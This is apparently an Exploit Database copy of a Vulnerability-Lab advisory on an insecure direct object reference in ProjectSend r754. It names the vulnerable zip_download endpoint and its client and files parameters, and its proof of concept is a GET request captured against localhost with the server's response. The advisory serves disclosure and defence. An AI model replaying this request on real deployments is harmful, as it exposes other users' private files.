ProjectSend r754 – Insecure Direct Object Reference

Exploit Database
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作者： Vulnerability-Lab

日期： 2017-02-21
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/41433/

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Document Title:

===============

ProjectSend r754 - IDOR & Authentication Bypass Vulnerability

References (Source):

====================

https://www.vulnerability-lab.com/get_content.php?id=2031

Release Date:

=============

2017-02-21

Vulnerability Laboratory ID (VL-ID):

====================================

2031

Common Vulnerability Scoring System:

====================================

5.3

Product & Service Introduction:

===============================

ProjectSend is a self-hosted application (you can install it easily on your own VPS or shared web hosting account) that lets

you upload files and assign them to specific clients that you create yourself! Secure, private and easy. No more depending

on external services or e-mail to send those files.

(Copy of the Homepage: http://www.projectsend.org/ )

Abstract Advisory Information:

==============================

The vulnerability laboratory core research team discovered a idor and authentication bypass vulnerability in the ProjectSend-r754 web-application.

Vulnerability Disclosure Timeline:

==================================

2017-02-20: Public Disclosure (Vulnerability Laboratory)

Discovery Status:

=================

Published

Affected Product(s):

====================

GNU GPL License

Product: ProjectSend r754

Exploitation Technique:

=======================

Remote

Severity Level:

===============

Medium

Technical Details & Description:

================================

An insecure direct object references occured in case of an application provides direct access to objects based on user-supplied input.

As a result of this vulnerability attackers can bypass authorization and to access resources in the system. Insecure Direct Object References

allows attackers to bypass authorization and access resources directly by modifying the value of a parameter[client] used. Thus finally point

to other client account names, which allows an attackers to download others clients private data with no secure method provided.

Vulnerability Method(s):

[+] GET

Vulnerable Module(s):

[+] process.php?do=zip_download

Vulnerable Parameter(s):

[+] client

[+] file

Proof of Concept (PoC):

=======================

The security vulnerability can be exploited by remote attackers with low privilege web-application user account and low user interaction.

For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

1. User "A" as attacker checks a file to download as zip extension, then click download to modifiy values as required ...

2. Application responds with the client file list, so then you are able to download all other side user B data files with zip extension

--- PoC Session Logs ---

GET /ProjectSend-r754/process.php?do=zip_download&client=[CLIENTNAME]&files%5B%5D=2 HTTP/1.1

Host: localhost

User-Agent: Mozilla/5.0 (X11; Linux i686; rv:50.0) Gecko/20100101 Firefox/50.0

Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

X-Requested-With: XMLHttpRequest

Referer: http://localhost/ProjectSend-r754/my_files/

Cookie: PHPSESSID=kb0uotq6mssklf213v4a7fje47

Connection: keep-alive

HTTP/1.1 200 OK

Date: Sun, 05 Feb 2017 19:07:41 GMT

Server: Apache/2.2.22 (Debian)

X-Powered-By: PHP/5.4.44-0+deb7u1

Expires: Sat, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, max-age=0

Pragma: no-cache

Vary: Accept-Encoding

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: text/html

Content-Length: 6

Name of Files: .jpg

Video PoC:

https://www.youtube.com/watch?v=Xc6Jg9I7Pj4

Security Risk:

==============

The security risk of the web vulnerability in the ProjectSend-r754 web-application function is estimated as medium. (CVSS 5.3)

Credits & Authors:

==================

Lawrence Amer - Vulnerability Laboratory [Research Team] - (http://lawrenceamer.me) (https://www.vulnerability-lab.com/show.php?user=Lawrence Amer)

Disclaimer & Information:

=========================

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